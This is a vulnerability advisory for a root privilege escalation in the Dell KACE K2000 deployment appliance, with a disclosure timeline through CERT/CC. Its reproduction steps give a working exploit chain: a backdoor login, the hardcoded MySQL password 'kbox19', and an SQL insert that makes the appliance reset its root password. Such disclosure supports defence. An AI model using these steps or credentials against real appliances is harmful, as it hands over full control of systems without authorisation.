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[R1] Dell KACE K2000 System Deployment Appliance Task Processor Database Write Access Remote Privilege Escalation

High

Synopsis

Dell KACE K2000 Systems Deployment Appliance contains a flaw in the Task Processor component that is triggered when a web GUI administrator uses write access to the MySQL database. With a specially crafted 'insert' statement, an attacker can execute commands as 'root' on the underlying system, gaining full access to the device.

Reproduction steps:

o Log into the web interface as the backdoor user described in TRA-2011-11.
o Enable remote MySQL connections and root SSH access
- http://[target]/settings_security?edit=1
- Select "Allow Offboard Database Access"
- Select "Allow SSH Root Login (KACE Support)"
- click "Save"
o Restart the server
- http://[target]/settings_maintenance?edit=1
- Click "Reboot"
o Drop the exploit on the mysql server
- mysql -u root -p -h [target]
o supply the default password, "kbox19" (this password is hardcoded in various PHP files)
- run the MySQL commands:
o use KBDB
o insert into IM_SERVER_TASK_QUEUE(queue,description,command) values('datastore', 'exploit attempt', '/bin/echo password | pw usermod -n root -h 0');

After the task is processed, the command is executed and the root password is changed to 'password'. The attack is recorded in the log at http://[target]/settings_logs?log=server_task_processor_output

KServerTaskProcessor[46390] @ Tue, Apr 19 2011 14:02:44 EDT: (datastore) running /bin/echo password | pw usermod -n root -h 0

Solution

As of 2011-10-13, CERT/CC indicated that Dell was preparing to release an update. Unfortunately, the original KB posted by Dell has since been removed from the site, so it is unclear if a solution was published.

Disclosure Timeline

2011-05-03 - Vulnerability reported to CERT/CC via their online submission form, assigned VU #135606
2011-06-09 - CERT/CC acknowledges and says they're contacting Dell
2011-08-15 - Asked CERT/CC for an update
2011-10-13 - CERT/CC responds saying Dell is prepared to issue an update
2011-11-03 - Disclosed via CERT/CC

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